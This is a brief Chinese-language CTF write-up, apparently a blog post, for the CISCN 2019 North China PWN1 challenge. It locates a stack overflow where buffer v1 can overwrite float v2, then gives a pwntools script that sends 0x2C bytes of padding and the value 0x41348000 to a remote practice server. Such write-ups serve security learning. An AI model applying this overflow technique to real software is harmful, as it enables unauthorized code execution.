164 字
1 分钟
CISCN 2019华北 PWN1
-
下载附件托入IDA进行分析main:
经过一些前置处理之后会进入func()函数 -
跟进func()函数:
逻辑很简单,当v2==11.28125时,即可输出flag -
分别查看v1和v2的栈:
可以看到v1和v2的距离是0x30-0x4=0x2C -
查看func()函数对应汇编代码:
ucomiss xmm0, cs:dword_4007F4对应v2 == 11.28125 -
跟进dword_4007F4进行查看:
红框内容就是11.28125,所以只需要对v1输入垃圾数据实现溢出,覆盖到v2并输入0x41348000即可 -
EXP:
from pwn import *a = remote("node4.anna.nssctf.cn",29705)# payload = b"A" * 0x38 + p64(0x4006BE)payload = b"A" * 0x2C + p64(0x41348000)a.sendline(payload)a.interactive()
CISCN 2019华北 PWN1
https://lepustimus.github.io/posts/pwn/ciscn2019华北pwn1/